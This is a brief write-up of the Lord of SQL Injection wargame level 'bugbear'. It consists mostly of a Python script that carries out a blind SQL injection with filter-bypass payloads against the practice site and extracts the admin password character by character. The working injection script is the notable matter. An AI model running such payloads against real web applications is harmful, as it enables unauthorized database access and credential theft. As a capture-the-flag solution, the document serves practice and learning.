LOS :: 13번 BUGBEAR

WRITE UP

import requests
 
url = "http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
   for j in range(48,127):
      data['no']="1||hex(mid(id,1,1))<62&&hex(mid(pw,"+str(i)+",1))>hex("+str(j)+")"
      res = requests.get(url, params=data, cookies=session)
      if "Hello admin" not in res.text:
         print(chr(j),end='')
         flag = flag + chr(j)
         break
    
data['pw']=flag
res = requests.get(url, params=data, cookies=session)
 
if "Clear!" in res.text:
   print("\n[♪] BUGBEAR Clear!")